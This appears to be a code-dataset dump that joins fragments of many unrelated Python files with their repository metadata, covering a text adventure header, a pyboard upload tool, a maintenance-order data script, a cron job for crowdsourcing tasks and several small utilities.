''' ________ ________ ___ ___ _______ ________ _________ ___ ___ _________ _______ ________ ________ |\ __ \|\ ___ \|\ \ / /|\ ___ \ |\ ___ \|\___ ___\|\ \ / /|\___ ___\\ ___ \ |\ ___ \|\ ___ \ \ \ \|\ \ \ \_|\ \ \ \ / / | \ __/|\ \ \\ \ \|___ \ \_|\ \ \/ / ||___ \ \_\ \ __/|\ \ \\ \ \ \ \_|\ \ \ \ __ \ \ \ \\ \ \ \/ / / \ \ \_|/_\ \ \\ \ \ \ \ \ \ \ / / \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \\ \ \ \ \ \ \ \ \_\\ \ \ / / \ \ \_|\ \ \ \\ \ \ \ \ \ / \/ \ \ \ \ \ \_|\ \ \ \\ \ \ \ \_\\ \ \ \__\ \__\ \_______\ \__/ / \ \_______\ \__\\ \__\ \ \__\/ /\ \ \ \__\ \ \_______\ \__\\ \__\ \_______\ \|__|\|__|\|_______|\|__|/ \|_______|\|__| \|__| \|__/__/ /\ __\ \|__| \|_______|\|__| \|__|\|_______| |__|/ \|__| By | |_|_| /\_|_._ _ o.__|_ _ |_|_| |/--\|_|_||_)(_)|| ||_(_)\/\/ _/ _/ _/ _/ _/ _/ _/_/_/ _/_/_/_/_/ _/ _/_/_/ _/_/ _/_/_/ _/_/_/ _/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/_/ _/ _/_/ _/_/ _/_/ _/ _/ _/ _/ _/ _/_/_/_/ _/ _/ _/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/_/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/_/_/ _/ ''' try: from adventurelib import Item, say, Bag # importing dependencies except: from adstrangerlib import Item, say, Bag from random import choice, randint import time __version__ = "0.0.3"
50.394366
237
0.396311
afceffc0fa04029d539709b408be0aca115cbc14
415
py
Python
student.py
gabrielmccoll/python-learning
253dcf9df647dbdcaaeac498c962db39868d6604
[ "MIT" ]
null
null
null
student.py
gabrielmccoll/python-learning
253dcf9df647dbdcaaeac498c962db39868d6604
[ "MIT" ]
null
null
null
student.py
gabrielmccoll/python-learning
253dcf9df647dbdcaaeac498c962db39868d6604
[ "MIT" ]
null
null
null
students = []
21.842105
48
0.73253
afcf06799a4c681aefacbbab3bd0c395c6f657a8
700
py
Python
led_panel_client/cli/commands.py
Glutexo/ledpanel-client
c23b5913f4a7727f0a878a4240187fb8c16be034
[ "MIT" ]
1
2019-01-26T14:53:36.000Z
2019-01-26T14:53:36.000Z
led_panel_client/cli/commands.py
Glutexo/ledpanel-client
c23b5913f4a7727f0a878a4240187fb8c16be034
[ "MIT" ]
3
2018-08-05T14:53:55.000Z
2019-01-27T11:15:45.000Z
led_panel_client/cli/commands.py
Glutexo/ledpanel-client
c23b5913f4a7727f0a878a4240187fb8c16be034
[ "MIT" ]
null
null
null
from ampy.pyboard import Pyboard from ampy.files import Files from .files import led_panel_client, max7219 from os.path import basename from sys import argv def put(): """ Uploads all necessary files to the pyboard. """ if len(argv) < 2: print("Pyboard COM port not specified. Usage: led_panel_client_put /dev/tty.wchusbserial1410") exit(1) pyboard_pyboard = Pyboard(argv[1]) pyboard_files = Files(pyboard_pyboard) files_to_put = led_panel_client() | max7219() for file_path in files_to_put: name = basename(file_path) with open(file_path) as file_object: data = file_object.read() pyboard_files.put(name, data)
28
102
0.687143
afcfa558f77ea2152e94c0d489367f3ae1bc234b
3,241
py
Python
koopman-intro/args.py
AbsoluteStratos/blog-code
3a8e308d55931b053b8a47268c52d62e0fa16bd8
[ "MIT" ]
2
2021-07-30T10:04:18.000Z
2022-01-30T18:29:30.000Z
koopman-intro/args.py
AbsoluteStratos/blog-code
3a8e308d55931b053b8a47268c52d62e0fa16bd8
[ "MIT" ]
1
2021-10-17T20:08:41.000Z
2021-10-17T20:08:41.000Z
koopman-intro/args.py
AbsoluteStratos/blog-code
3a8e308d55931b053b8a47268c52d62e0fa16bd8
[ "MIT" ]
2
2021-07-30T10:04:20.000Z
2021-09-01T00:07:14.000Z
''' Into to deep learning Koopman operators === Author: Nicholas Geneva (MIT Liscense) url: https://nicholasgeneva.com/blog/ github: https://github.com/NickGeneva/blog-code === ''' import numpy as np import random import argparse import os, errno, copy, json import torch
41.551282
122
0.624499
afcfa7df8b6551e0c9178682429e9831edd629a5
1,767
py
Python
tests/test_write_basic_udf.py
eodcgmbh/eodc-openeo-bindings
4e80eba036771a0c81359e1ac66862f1eead407b
[ "MIT" ]
null
null
null
tests/test_write_basic_udf.py
eodcgmbh/eodc-openeo-bindings
4e80eba036771a0c81359e1ac66862f1eead407b
[ "MIT" ]
7
2020-02-18T17:12:31.000Z
2020-09-24T07:19:04.000Z
tests/test_write_basic_udf.py
eodcgmbh/eodc-openeo-bindings
4e80eba036771a0c81359e1ac66862f1eead407b
[ "MIT" ]
null
null
null
""" This test checks the input file generation of a basic job using a python UDF. """ import os from eodc_openeo_bindings.job_writer.basic_writer import BasicJobWriter
39.266667
131
0.739106
afd07ae84271209f560ab1e8af1cb6cd4f30c6a7
336
py
Python
server/object_detection/Constants.py
KimSangYeon-DGU/Fire_Alarm_CCTV
a5dd6c145c898e85bf0c42c03f12cb0415330d74
[ "Apache-2.0" ]
10
2018-09-05T15:20:05.000Z
2020-06-01T03:57:08.000Z
server/object_detection/Constants.py
KimSangYeon-DGU/Fire_Alarm_CCTV
a5dd6c145c898e85bf0c42c03f12cb0415330d74
[ "Apache-2.0" ]
null
null
null
server/object_detection/Constants.py
KimSangYeon-DGU/Fire_Alarm_CCTV
a5dd6c145c898e85bf0c42c03f12cb0415330d74
[ "Apache-2.0" ]
7
2019-06-19T05:44:23.000Z
2020-08-30T07:26:13.000Z
import socket as sock import os IP = sock.gethostname() CCTV_PORT = 9000 ANDR_PORT = 8000 CUR_DIR = os.getcwd() REC_DIR = os.path.join(CUR_DIR, "record") DB_ADDR = "Database server address" PUSH_ADDR = "Push notification server address" REG_ID = "Registration ID" NOTIF_COUNT = 4 QUEUE_SIZE = 30 REC_FILE_NUM = 60 NOTIF_MINIUTE = 10
18.666667
46
0.752976
afd20fab82d3922fc99876b2d016b1c0bd247c6a
7,878
py
Python
sanstitre1.py
mrrobotsca/NLP-AI2020
ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59
[ "Apache-2.0" ]
null
null
null
sanstitre1.py
mrrobotsca/NLP-AI2020
ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59
[ "Apache-2.0" ]
2
2021-06-08T21:48:56.000Z
2021-09-08T02:11:07.000Z
sanstitre1.py
mrrobotsca/NLP-AI2020
ff9c39f3a1d1dd2fbc57d596edf01d0e035d5b59
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed Feb 27 14:14:47 2019 @author: DK0086 """ import odema as od import numpy as np from datetime import datetime import pandas as pd import geopy.distance import math import os import time import sys from geopy.geocoders import Nominatim geolocator = Nominatim(user_agent="Dash") ####################################################################### # 1em Partie : # Connection a Database des ordre D3 et traitement des donnees tec=pd.read_csv(r'Territoire_vs_technicien.csv', sep=";",encoding = "ISO-8859-1" ) sql = "SELECT MVW_BW_AVIS.AVIS, MVW_BW_AVIS.DESCRIPTION, MVW_BW_AVIS.TYP, MVW_BW_AVIS.DATE_AVIS, \ MVW_BW_AVIS.ANNEE_DATE_AVIS, MVW_BW_AVIS.MOIS_DATE_AVIS, MVW_BW_AVIS.STATSYS, MVW_BW_AVIS.STAT_UTIL, \ MVW_BW_AVIS.ORDRE, MVW_BW_ORDRES.DATE_CREATION, MVW_BW_AVIS.POSTETECHNIQUE, MVW_BW_AVIS.CODAGE, \ MVW_BW_AVIS.DIV, MVW_BW_AVIS.RESPONSABLE FROM ODEMA.MVW_BW_AVIS MVW_BW_AVIS LEFT OUTER JOIN ODEMA.MVW_BW_ORDRES MVW_BW_ORDRES ON (MVW_BW_AVIS.ORDRE = MVW_BW_ORDRES.ORDRE)" div=tec.loc[:,'Division'].astype(str) divv=[] for row in div: a=row if len(a)==3: a='0'+a divv.append(a) else: divv.append(a) localisation= tec.loc[:,'Dsignation'] lon=[] lat=[] for row in localisation: location = geolocator.geocode(row,timeout=15) print(location.address) lat.append(location.latitude) lon.append(location.longitude) tec['longitude']=lon tec['latitude']=lat tec['Division']=divv tec.index = tec['Division'] df = od.read_odema(sql=sql) test = df[df['DIV'].isin(divv)].copy() test['IPOT'] = test['STAT_UTIL'].fillna('').str.contains('IPOT') test['ANOI'] = test['STAT_UTIL'].fillna('').str.contains('ANOI') test['AINF'] = test['STAT_UTIL'].fillna('').str.contains('AINF') test["TYP"] = np.where(test['TYP'] == "D3", np.where(test['IPOT'], "D3-IPOT", np.where(test['AINF'], 'D3-AINF', np.where(test['ANOI'], 'D3-ANOI', "D3-AUTRE") ) ), test['TYP']) R5=['R01','R02','R03','R04','R05'] R10=['R06','R07','R08','R09','R10'] test['R5_et_moins']=test['CODAGE'].isin(R5) test['R6_et_plus']=test['CODAGE'].isin(R10) test = test[test['CODAGE'].isin(R5) | test['CODAGE'].isin(R10)] test = test[test['TYP'].isin(['D2','D4','D9','D3']) | test['TYP'].str.contains('D3')] test['TYPE_CODE']=test['TYP'] test["Technicien"] = test["DIV"].map(tec["Techniciens"]).fillna("non-assigne") test["Dsignation"] = test["DIV"].map(tec["Dsignation"]).fillna("non-assigne") test["Territoires"] = test["DIV"].map(tec["Territoires"]).fillna("non-assigne") test["longitude"] = test["DIV"].map(tec["latitude"]).fillna("non-assigne") test["latitude"] = test["DIV"].map(tec["longitude"]).fillna("non-assigne") testcopy = test.copy() df_ordres = testcopy[testcopy['ORDRE'].notnull()].copy() testcopy["date"] = testcopy["DATE_AVIS"] df_ordres["date"] = df_ordres["DATE_CREATION"] testcopy=testcopy[(testcopy.date.dt.year>=2012)& (testcopy.date.dt.year<=2020)] df_ordres=df_ordres[(df_ordres.date.dt.year>=2012)& (df_ordres.date.dt.year<=2020)] testcopy["TYP"] = testcopy["TYP"] + "-lances" df_ordres["TYP"] = df_ordres["TYP"] + "-confirmes" testcopy = testcopy.append(df_ordres) del testcopy["DATE_AVIS"], testcopy["DATE_CREATION"], testcopy['AINF'], testcopy['ANOI'], testcopy['IPOT'], testcopy['R5_et_moins'], testcopy['R6_et_plus'] test["TYP"] = np.where(test['R5_et_moins'],test['TYP']+"-R5",test['TYP']+"-R10") df_ordres = test[test['ORDRE'].notnull()].copy() test["date"] = test["DATE_AVIS"] df_ordres["date"] = df_ordres["DATE_CREATION"] test=test[(test.date.dt.year>=2012)& (test.date.dt.year<=2020)] df_ordres=df_ordres[(df_ordres.date.dt.year>=2012)& (df_ordres.date.dt.year<=2020)] test["TYP"] = test["TYP"] + "-lances" df_ordres["TYP"] = df_ordres["TYP"] + "-confirmes" test = test.append(df_ordres) del test["DATE_AVIS"], test["DATE_CREATION"],test['AINF'], test['ANOI'], test['IPOT'], test['R5_et_moins'], test['R6_et_plus'] test = test.append(testcopy) ####################################################################### # 2em Partie : # Connection a Database des ordre 443 et traitement des donnees sql_req_443 = \ "SELECT MVW_BW_ORDRES.TYPE, \ MVW_BW_ORDRES.CODE_NATURE, \ MVW_BW_ORDRES.ORDRE, \ MVW_BW_OPERATIONS_SM_PM.OPERATION_SM_PM, \ MVW_BW_ORDRES.DESIGNATION, \ MVW_BW_OPERATIONS_SM_PM.DESIGNATION_OPERATION_SM_PM, \ MVW_BW_OPERATIONS_SM_PM.STATUTS_UTIL_COMPLET_SM_PM, \ MVW_BW_OPERATIONS_SM_PM.STATUT_OP_COMPLET_SM_PM, \ MVW_BW_OPERATIONS_SM_PM.DATE_STATUT_CONF_SM_PM, \ MVW_BW_OPERATIONS_SM_PM.DATE_STATUT_LANC_SM_PM, \ MVW_BW_ORDRES.DIVISION_GRPE_GESTION, \ MVW_BW_ORDRES.DIVISION_POSTE_RESP, \ MVW_BW_ORDRES.POSTERESP \ FROM ODEMA.MVW_BW_ORDRES \ INNER JOIN ODEMA.MVW_BW_OPERATIONS_SM_PM \ ON (MVW_BW_ORDRES.ORDRE = MVW_BW_OPERATIONS_SM_PM.ORDRE_SM_PM) \ WHERE(MVW_BW_ORDRES.CODE_NATURE = '443')" geolocator = Nominatim(user_agent="Dash") df443 = od.read_odema(sql=sql_req_443) df=pd.read_csv(r'Territoire_vs_technicien.csv', sep=";",encoding = "ISO-8859-1" ) div=df.loc[:,'Division'].astype(str) divv=[] for row in div: a=row if len(a)==3: a='0'+a divv.append(a) else: divv.append(a) df['Division']=divv localisation= df.loc[:,'Dsignation'] lon=[] lat=[] for row in localisation: location = geolocator.geocode(row,timeout=15) print(location.address) lat.append(location.latitude) lon.append(location.longitude) df['longitude']=lon df['latitude']=lat df.index = df['Division'] df443['chk'] = df443['DESIGNATION_OPERATION_SM_PM'].fillna('').str.lower().str.replace('','e') df443['TYPE_CODE'] = df443['TYPE'] + '-' + df443['CODE_NATURE'] df443['TYPE_CODE'] = np.where(df443['chk'].fillna("").str.contains('diagnostic') ,df443['TYPE_CODE'] + '-' + 'Diagnostic' ,df443['TYPE_CODE'] + '-' + 'Autre' ) closed = df443[df443['DATE_STATUT_CONF_SM_PM'].notnull()].copy() df443 = df443[df443['DATE_STATUT_LANC_SM_PM'].notnull()] #pas suppos d'avoir aucun null mais quand mme, juste pour tre sr closed['date'] = closed['DATE_STATUT_CONF_SM_PM'] df443['date'] = df443['DATE_STATUT_LANC_SM_PM'] lst_champs = ['TYPE_CODE','TYPE','CODE_NATURE','ORDRE','DESIGNATION','OPERATION_SM_PM','DESIGNATION_OPERATION_SM_PM','date', 'DIVISION_GRPE_GESTION','DIVISION_POSTE_RESP'] closed = closed[lst_champs] df443 = df443[lst_champs] df443['TYP'] = df443['TYPE_CODE'] + '-lances' closed['TYP'] = closed['TYPE_CODE'] + '-confirmes' df443 = df443.append(closed) df443['DIV'] = df443['DIVISION_POSTE_RESP'] df443["Technicien"] = df443["DIV"].map(df["Techniciens"]).fillna("non-assigne") df443["Dsignation"] = df443["DIV"].map(df["Dsignation"]).fillna("non-assigne") df443["Territoires"] = df443["DIV"].map(df["Territoires"]).fillna("non-assigne") df443["longitude"] = df443["DIV"].map(df["latitude"]).fillna("non-assigne") df443["latitude"] = df443["DIV"].map(df["longitude"]).fillna("non-assigne") df443["TYP_STATUS"] = df443["TYP"] df443['433'] = df443['CODE_NATURE'].fillna('').str.contains('433') del closed #tot=pd.concat([df443, test], ignore_index=True) #tot.to_csv('tot.csv',sep=";")
37.514286
180
0.621351
afd2843c7e52da7b669cdb447daf485dad48b407
4,398
py
Python
GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py
tlarsen7572/AlteryxTools
4bfaefbf59f7206215f42a6ca5b364f71c35fa1f
[ "BSD-2-Clause" ]
9
2019-05-29T12:53:03.000Z
2020-07-01T13:26:12.000Z
GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py
tlarsen7572/AlteryxTools
4bfaefbf59f7206215f42a6ca5b364f71c35fa1f
[ "BSD-2-Clause" ]
2
2018-07-20T00:23:46.000Z
2018-10-16T20:37:34.000Z
GlassdoorScrape/GlassdoorScrape/GlassdoorScrapeCore/GlassdoorScrapeInterviews.py
tlarsen7572/AlteryxTools
4bfaefbf59f7206215f42a6ca5b364f71c35fa1f
[ "BSD-2-Clause" ]
2
2019-03-15T13:43:36.000Z
2020-04-27T00:15:53.000Z
import GlassdoorScrapeCore.GlassdoorScrapeUtilities as Ut
35.467742
135
0.571851
afd436ddbf34c2bee6a32af594d6e66622817288
8,626
py
Python
qurkexp/join/cron.py
marcua/qurk_experiments
453c207ff50e730aefb6e1118e0f93e33babdb0b
[ "BSD-3-Clause" ]
1
2015-09-30T00:09:06.000Z
2015-09-30T00:09:06.000Z
qurkexp/join/cron.py
marcua/qurk_experiments
453c207ff50e730aefb6e1118e0f93e33babdb0b
[ "BSD-3-Clause" ]
null
null
null
qurkexp/join/cron.py
marcua/qurk_experiments
453c207ff50e730aefb6e1118e0f93e33babdb0b
[ "BSD-3-Clause" ]
null
null
null
import sys,os,base64,time,traceback from datetime import datetime ROOT = os.path.abspath('%s/../..' % os.path.abspath(os.path.dirname(__file__))) sys.path.append(ROOT) os.environ['DJANGO_SETTINGS_MODULE'] = 'qurkexp.settings' SLEEP_TIME = 10 if __name__ == '__main__': from django.conf import settings from qurkexp.hitlayer.models import HitLayer, HIT from qurkexp.join.models import * hitlayer = HitLayer.get_instance() hitlayer.register_cb_generator('celeb', celeb_cb_generator) hitlayer.register_cb_generator('celeb_feature', celeb_features_cb_generator) hitlayer.register_cb_generator('celeb_batchpair', celeb_batchpair_cb_generator) hitlayer.register_cb_generator('sort', sort_cb_generator) while True: HitLayer.get_instance().check_hits() print "going to sleep for %d sec" % (SLEEP_TIME) time.sleep(SLEEP_TIME) exit() cmds = [#'python movie_batchpairs.py 211 10 naive movie_all_naive_10_1 5', #'python movie_batchpairs.py 211 5 naive movie_all_naive_5_1 5', #'python movie_batchpairs.py 211 2 smart movie_all_smart_2_1 5', #'python movie_batchpairs.py 211 3 smart movie_all_smart_3_1 5', #'python movie_batchpairs.py 211 5 smart movie_all_smart_5_1 5', #'python generate_comparisons.py animals rating 27 5 1 5 animals-dangerous-rating-27-5-1-5-2', #'python movie_batchpairs.py 211 5 naive movie_all_naive_5_3 5', #'python generate_batchpairs.py 30 10 naive ordered 30-10-naive-ordered-20 5', #'python generate_batchpairs.py 30 5 naive ordered 30-5-naive-ordered-20 5', #'python generate_batchpairs.py 30 3 naive ordered 30-3-naive-ordered-20 5', #'python generate_comparisons.py squares cmp 40 1 10 5 squares-cmp-40-1-10-5-1' # 'python generate_comparisons.py squares rating 50 5 1 5 squares-skew-rating-50-5-1-5-3', # 'python generate_comparisons.py squares rating 50 5 1 5 squares-skew-rating-50-5-1-5-4', # 'python generate_comparisons.py squares cmp 40 1 5 5 squares-skew-cmp-40-1-5-5-1' #'python generate_comparisons.py squares rating 5 5 1 1 test_eugene_10', ] while len(cmds) > 0: cmd = cmds.pop(0) runcmd(cmd) exit() cmds = [] for actorid in range(1, 5+1): cmds.append('python movie_comparisons.py cmp movie_all_smart_3_1 %d 1 5 5 movie_cmp_%d_1_5_5_v3' % (actorid, actorid)) runcmds(cmds) cmds = [] for actorid in range(1, 5+1): cmds.append('python movie_comparisons.py rating movie_all_smart_3_1 %d 5 1 5 movie_rat_%d_5_1_5_v3' % (actorid, actorid)) runcmds(cmds)
40.308411
131
0.504405
afd5a7231c757b5d59c10582041a64bcee61c37a
4,155
py
Python
30-Days-of-Python/Day_12.py
davidusken/Python
56d2103d6be1e7be850ba87a1ba1e113333ddf13
[ "MIT" ]
null
null
null
30-Days-of-Python/Day_12.py
davidusken/Python
56d2103d6be1e7be850ba87a1ba1e113333ddf13
[ "MIT" ]
null
null
null
30-Days-of-Python/Day_12.py
davidusken/Python
56d2103d6be1e7be850ba87a1ba1e113333ddf13
[ "MIT" ]
1
2021-02-28T12:52:55.000Z
2021-02-28T12:52:55.000Z
# Day 12: Functions # Exercises # Define four functions: add, subtract, divide, and multiply. Each function should take two arguments, and they should print the result of the arithmetic operation indicated by the function name. # When orders matters for an operation, the first argument should be treated as the left operand, and the second argument should be treated as the right operand. # For example, if the user passes in 6 and 2 to subtract, the result should be 4, not -4. # You should also make sure that the user cant pass in 0 as the second argument for divide. If the user provides 0, you should print a warning instead of calculating their division. # Main (input/menu) firstvalue = int(input("Enter first value: ")) secondvalue = int(input("Enter second value: ")) userchoice = input("\nWhat operation do you wish to perform?\n1. Add\n2. Subtract\n3. Divide\n4. Multiply\nEnter choice: ") if userchoice == "1": add(firstvalue, secondvalue) elif userchoice == "2": subtract(firstvalue, secondvalue) elif userchoice == "3": divide(firstvalue, secondvalue) elif userchoice == "4": multiply(firstvalue, secondvalue) else: print("Invalid input, try again.") # Define a function called print_show_info that has a single parameter. The argument passed to it will be a dictionary with some information about a T.V. show. For example: # The print_show_info function should print the information stored in the dictionary, in a nice way. For example: # Breaking Bad (2008) - 5 seasons - Remember you must define your function before calling it! tv_show = { "title": "Breaking Bad", "seasons": 5, "initial_release": 2008 } print_show_info(tv_show) # Below youll find a list containing details about multiple TV series. series = [ {"title": "Breaking Bad", "seasons": 5, "initial_release": 2008}, {"title": "Fargo", "seasons": 4, "initial_release": 2014}, {"title": "Firefly", "seasons": 1, "initial_release": 2002}, {"title": "Rick and Morty", "seasons": 4, "initial_release": 2013}, {"title": "True Detective", "seasons": 3, "initial_release": 2014}, {"title": "Westworld", "seasons": 3, "initial_release": 2016}, ] # Use your function, print_show_info, and a for loop, to iterate over the series list, and call your function once for each iteration, passing in each dictionary. # You should end up with each series printed in the appropriate format. for show in series: print_show_info(show) # Create a function to test if a word is a palindrome. A palindrome is a string of characters that are identical whether read forwards or backwards. For example, was it a car or a cat I saw is a palindrome. # In the day 7 project, we saw a number of ways to reverse a sequence, and you can use this to verify whether a string is the same backwards as it is in its original order. You can also use a slicing approach. # Once youve found whether or not a word is a palindrome, you should print the result to the user. Make sure to clean up the argument provided to the function. We should be stripping whitespace from both # ends of the string, and we should convert it all to the same case, just in case were dealing with a name, like Hannah. # Vars needed userword = None reverseword = None palindrome_check()
43.736842
210
0.726113
bb5df3fbda301f153649b52b26d0e9ba6ce8747f
24
py
Python
ckan_cloud_operator/providers/db/constants.py
MuhammadIsmailShahzad/ckan-cloud-operator
35a4ca88c4908d81d1040a21fca8904e77c4cded
[ "MIT" ]
14
2019-11-18T12:01:03.000Z
2021-09-15T15:29:50.000Z
ckan_cloud_operator/providers/db/constants.py
MuhammadIsmailShahzad/ckan-cloud-operator
35a4ca88c4908d81d1040a21fca8904e77c4cded
[ "MIT" ]
52
2019-09-09T14:22:41.000Z
2021-09-29T08:29:24.000Z
ckan_cloud_operator/providers/db/constants.py
MuhammadIsmailShahzad/ckan-cloud-operator
35a4ca88c4908d81d1040a21fca8904e77c4cded
[ "MIT" ]
8
2019-10-05T12:46:25.000Z
2021-09-15T15:13:05.000Z
PROVIDER_SUBMODULE='db'
12
23
0.833333
bb5dfba5c5533938d6a17b1b05c8c187bd4dad1b
3,450
py
Python
models/combiner/combiner_network.py
tunasoup/multimodal-scene-classification
85f72da3f6ab947fff0929a6ff0e4a8d1fd34377
[ "MIT" ]
null
null
null
models/combiner/combiner_network.py
tunasoup/multimodal-scene-classification
85f72da3f6ab947fff0929a6ff0e4a8d1fd34377
[ "MIT" ]
null
null
null
models/combiner/combiner_network.py
tunasoup/multimodal-scene-classification
85f72da3f6ab947fff0929a6ff0e4a8d1fd34377
[ "MIT" ]
null
null
null
""" Contains the trainable sub-network of an ensemble classifier. Handles calling the training and evaluation. """ import torch import torch.nn as nn import torch.optim as optim from matplotlib.pyplot import show from utility.fusion_functions import (train_nn_combiner_model, test_nn_combiner) from definitions import (MODELS_TRAIN_OUTPUTS_FILE, MODELS_VAL_OUTPUTS_FILE, MODELS_TEST_OUTPUTS_FILE, BEST_COMBINER_MODEL) from utility.utilities import FusionData, Features if __name__ == '__main__': run_train = True run_test = True device = 'cuda:0' if torch.cuda.is_available() else 'cpu' print(device) model_ensemble = CombinerModel() if run_train: optimizer = optim.Adam(model_ensemble.parameters(), lr=0.000020) epochs = 100 batch_size = 32 feature_train = Features(feature_file=MODELS_TRAIN_OUTPUTS_FILE, arg_names=['X', 'y']) data_train = FusionData(features=[feature_train], do_reshape=False) feature_val = Features(feature_file=MODELS_VAL_OUTPUTS_FILE, arg_names=['X', 'y']) data_val = FusionData(features=[feature_val], do_reshape=False) train_nn_combiner_model(model=model_ensemble, optimizer=optimizer, train_data=data_train.get_data(), val_data=data_val.get_data(), best_model=BEST_COMBINER_MODEL, device=device, epochs=epochs, batch_size=batch_size) if run_test: feature_test = Features(feature_file=MODELS_TEST_OUTPUTS_FILE, arg_names=['X', 'y']) data_test = FusionData(features=[feature_test], do_reshape=False) model_ensemble.load_state_dict(torch.load(BEST_COMBINER_MODEL)) model_ensemble.eval() test_nn_combiner(model=model_ensemble, test_data=data_test.get_data(), device=device, verbose=True) show() """ with logits, lr=0.000015, test: 0.872 (epoch 87) batchnormed, 0.871 without with probabilities, lr=0.000025, test: 0.872 (epoch 46) batchnormed, 0.849 without with softmax of probabilities, lr=0.000025 test: 0.872 (epoch 46) batchnormed, 0.814 without higher lr with softmax of logits, lr=0.000020, 0.865, (epoch 46) batchnormed, with logits: test: 0.872 val: 0.892 val_loss: 0.2937 avg: 86.61% test_loss: 0.3840 optimizer = optim.Adam(model_ensemble.parameters(), lr=0.000015) epochs = 92 # (87), 0.871 without batchnorm batch_size = 32 self.model = nn.Sequential( nn.Linear(self.input_dim, 32), nn.BatchNorm1d(32), nn.ReLU(), #nn.Dropout(0.5), nn.Linear(32, 10) ) """
35.9375
102
0.595072
bb5e3228f03e7078fb5aaf1eab536edafbe9b383
1,639
py
Python
gotools_rename.py
liuhewei/gotools-sublime
2c44f84024f9fd27ca5c347cab080b80397a32c2
[ "MIT" ]
60
2016-04-06T15:28:11.000Z
2021-01-26T13:08:19.000Z
gotools_rename.py
liuhewei/gotools-sublime
2c44f84024f9fd27ca5c347cab080b80397a32c2
[ "MIT" ]
19
2016-04-07T02:28:22.000Z
2019-05-16T14:32:14.000Z
gotools_rename.py
liuhewei/gotools-sublime
2c44f84024f9fd27ca5c347cab080b80397a32c2
[ "MIT" ]
18
2016-04-19T18:23:49.000Z
2021-08-31T14:32:03.000Z
import sublime import sublime_plugin import os from .gotools_util import Buffers from .gotools_util import GoBuffers from .gotools_util import Logger from .gotools_util import ToolRunner
38.116279
95
0.698597
bb5ffa2d4cc2b708f22acabc46b7a17e37cfa7ad
765
py
Python
backend/equipment/endpoints.py
Vini1979/Engenharia_Software_IF977
dee99b7a05736bd35935d30a88b61a1f273d7633
[ "MIT" ]
null
null
null
backend/equipment/endpoints.py
Vini1979/Engenharia_Software_IF977
dee99b7a05736bd35935d30a88b61a1f273d7633
[ "MIT" ]
1
2021-04-14T18:52:27.000Z
2021-04-14T18:52:27.000Z
backend/equipment/endpoints.py
Vini1979/Engenharia_Software_IF977
dee99b7a05736bd35935d30a88b61a1f273d7633
[ "MIT" ]
1
2021-04-27T18:15:13.000Z
2021-04-27T18:15:13.000Z
from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from equipment.serializers import EquipmentSerializer, ItemSerializer from equipment.models import Item, Equipment
31.875
83
0.831373
bb601bdac4b627b652ca2cc549c648ed9d7b4ddf
1,286
py
Python
{{cookiecutter.project_slug}}/setup.py
mathemaphysics/cookiecutter-cpp-devcontainer
d9a8e23e165e3698b4a1cb4516a397450355466a
[ "MIT" ]
null
null
null
{{cookiecutter.project_slug}}/setup.py
mathemaphysics/cookiecutter-cpp-devcontainer
d9a8e23e165e3698b4a1cb4516a397450355466a
[ "MIT" ]
null
null
null
{{cookiecutter.project_slug}}/setup.py
mathemaphysics/cookiecutter-cpp-devcontainer
d9a8e23e165e3698b4a1cb4516a397450355466a
[ "MIT" ]
null
null
null
{%- set modname = cookiecutter.project_slug.replace('-', '') -%} from skbuild import setup {%- if cookiecutter.use_submodules == "No" %} import os import pybind11 {%- endif %} setup( name='{{ modname }}', version='0.0.1', author='{{ cookiecutter.full_name }}', author_email='your@email.com', description='Add description here', long_description='', classifiers=[ "Programming Language :: Python :: 3", "Operating System :: OS Independent", {%- if cookiecutter.license == "MIT" %} "License :: OSI Approved :: MIT License", {%- elif cookiecutter.license == "BSD-2" %} "License :: OSI Approved :: BSD License", {%- elif cookiecutter.license == "GPL-3.0" %} "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", {%- elif cookiecutter.license == "LGPL-3.0" %} "License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)", {%- endif %} ], zip_safe=False, packages=["{{ modname }}"], cmake_args=[ "-DBUILD_TESTING=OFF", "-DBUILD_DOCS=OFF", {%- if cookiecutter.use_submodules == "No" %} f"-DCMAKE_PREFIX_PATH={os.path.dirname(pybind11.__file__)}", {%- endif %} ], package_dir={"": "python"}, cmake_install_dir="python/{{ modname }}", )
31.365854
83
0.604977
bb612a43c5e00fdec79d5ed2d464c2583287acfd
603
py
Python
lang/modules/os.py
pranavbaburaj/sh
dc0da9e10e7935310ae40d350c1897fcd65bce8f
[ "MIT" ]
4
2021-01-30T12:25:21.000Z
2022-03-13T07:23:19.000Z
lang/modules/os.py
pranavbaburaj/sh
dc0da9e10e7935310ae40d350c1897fcd65bce8f
[ "MIT" ]
3
2021-02-26T13:11:17.000Z
2021-06-04T17:26:05.000Z
lang/modules/os.py
pranavbaburaj/sh
dc0da9e10e7935310ae40d350c1897fcd65bce8f
[ "MIT" ]
1
2021-02-08T10:18:29.000Z
2021-02-08T10:18:29.000Z
import os, platform from clint.textui import colored as color
22.333333
42
0.593698
bb63df222835f6eb78ba3c732e704619ca12b613
899
py
Python
data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
241
2021-07-20T08:35:20.000Z
2022-03-31T02:39:08.000Z
data/transcoder_evaluation_gfg/python/CHECK_STRING_FOLLOWS_ANBN_PATTERN_NOT.py
mxl1n/CodeGen
e5101dd5c5e9c3720c70c80f78b18f13e118335a
[ "MIT" ]
49
2021-07-22T23:18:42.000Z
2022-03-24T09:15:26.000Z
